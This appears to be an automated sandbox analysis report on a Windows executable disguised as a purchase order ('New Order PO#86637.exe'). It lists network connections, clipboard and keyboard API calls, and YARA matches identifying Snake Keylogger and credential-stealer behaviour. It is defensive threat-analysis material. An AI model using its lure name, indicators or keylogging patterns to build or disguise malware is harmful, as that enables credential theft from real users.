Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002BEB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.4537810663.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.000000000278B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33$
Source: RegSvcs.exe, 00000003.00000002.4540108777.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4540335552.0000000003733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RegSvcs.exe, 00000003.00000002.4540108777.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegSvcs.exe, 00000003.00000002.4537810663.0000000002C77000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.4538128302.00000000027D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 61522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 61602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61622
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61623
Source: unknown	Network traffic detected: HTTP traffic on port 61619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61628
Source: unknown	Network traffic detected: HTTP traffic on port 61539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 61563 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61513
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61636
Source: unknown	Network traffic detected: HTTP traffic on port 61614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 61591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 61574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61631
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 61637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61645
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61648
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61649
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 61575 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61640
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61520
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61641
Source: unknown	Network traffic detected: HTTP traffic on port 61688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 61626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61656
Source: unknown	Network traffic detected: HTTP traffic on port 61700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 61660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61652
Source: unknown	Network traffic detected: HTTP traffic on port 61538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61532
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61653
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61708
Source: unknown	Network traffic detected: HTTP traffic on port 61587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61709
Source: unknown	Network traffic detected: HTTP traffic on port 61526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61706
Source: unknown	Network traffic detected: HTTP traffic on port 61630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61713
Source: unknown	Network traffic detected: HTTP traffic on port 61706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61608
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61609
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61600
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61603
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61605
Source: unknown	Network traffic detected: HTTP traffic on port 61571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61619
Source: unknown	Network traffic detected: HTTP traffic on port 61636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61612
Source: unknown	Network traffic detected: HTTP traffic on port 61582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61614
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61618
Source: unknown	Network traffic detected: HTTP traffic on port 61681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61590
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61591
Source: unknown	Network traffic detected: HTTP traffic on port 61692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61582
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61583
Source: unknown	Network traffic detected: HTTP traffic on port 61663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61586
Source: unknown	Network traffic detected: HTTP traffic on port 61554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61587
Source: unknown	Network traffic detected: HTTP traffic on port 61680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61595
Source: unknown	Network traffic detected: HTTP traffic on port 61645 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61598
Source: unknown	Network traffic detected: HTTP traffic on port 61595 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61609 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61555 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61666
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61667
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61547
Source: unknown	Network traffic detected: HTTP traffic on port 61644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61542
Source: unknown	Network traffic detected: HTTP traffic on port 61550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61663
Source: unknown	Network traffic detected: HTTP traffic on port 61535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61544
Source: unknown	Network traffic detected: HTTP traffic on port 61546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61678
Source: unknown	Network traffic detected: HTTP traffic on port 61690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61670
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61550
Source: unknown	Network traffic detected: HTTP traffic on port 61578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61671
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61554
Source: unknown	Network traffic detected: HTTP traffic on port 61649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61555
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61676
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61690
Source: unknown	Network traffic detected: HTTP traffic on port 61600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61688
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61680
Source: unknown	Network traffic detected: HTTP traffic on port 61684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61681
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61566
Source: unknown	Network traffic detected: HTTP traffic on port 61605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61579
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61571
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61692
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61694
Source: unknown	Network traffic detected: HTTP traffic on port 61704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61575
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61696
Source: unknown	Network traffic detected: HTTP traffic on port 61517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61551 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61698

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:61520 version: TLS 1.2

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		0_2_0045A10F
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		5_2_0045A10F

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0046DC80 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046DC80

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0044C37A GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,SendInput,

0_2_0044C37A

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0047C81C SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		0_2_0047C81C
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0047C81C SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		5_2_0047C81C

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.name.exe.3740000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.name.exe.3740000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.name.exe.3740000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.name.exe.3f40000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.name.exe.3f40000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.name.exe.3f40000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000006.00000002.4535184676.0000000000363000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: name.exe PID: 4592, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: name.exe PID: 1292, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 5688, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: New Order PO#86637.exe

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_00431BE8: GetFullPathNameW,__swprintf,_wcslen,CreateDirectoryW,CreateFileW,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00431BE8

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_00446313 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00446313

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004333BE
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		5_2_004333BE

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0042200C	0_2_0042200C
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0041A217	0_2_0041A217
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00412216	0_2_00412216
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0042435D	0_2_0042435D
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004033C0	0_2_004033C0
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0044F430	0_2_0044F430
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004125E8	0_2_004125E8
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0044663B	0_2_0044663B
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004096A0	0_2_004096A0
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00413801	0_2_00413801
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0042096F	0_2_0042096F
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004129D0	0_2_004129D0
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004119E3	0_2_004119E3
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0041C9AE	0_2_0041C9AE
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0047EA6F	0_2_0047EA6F
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0040FA10	0_2_0040FA10
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0044EB5F	0_2_0044EB5F
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00423C81	0_2_00423C81
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00411E78	0_2_00411E78
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00442E0C	0_2_00442E0C
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00420EC0	0_2_00420EC0
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0044CF17	0_2_0044CF17
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00444FD2	0_2_00444FD2
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0420C698	0_2_0420C698
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 2_2_04218678	2_2_04218678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0298D278	3_2_0298D278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_02985362	3_2_02985362
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0298C147	3_2_0298C147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0298C738	3_2_0298C738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0298C468	3_2_0298C468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0298CA08	3_2_0298CA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0298E988	3_2_0298E988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_029869A0	3_2_029869A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0298CFA9	3_2_0298CFA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_02986FC8	3_2_02986FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0298CCD8	3_2_0298CCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_02989DE0	3_2_02989DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_029829E0	3_2_029829E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0298E97A	3_2_0298E97A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0298F961	3_2_0298F961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_02983E09	3_2_02983E09
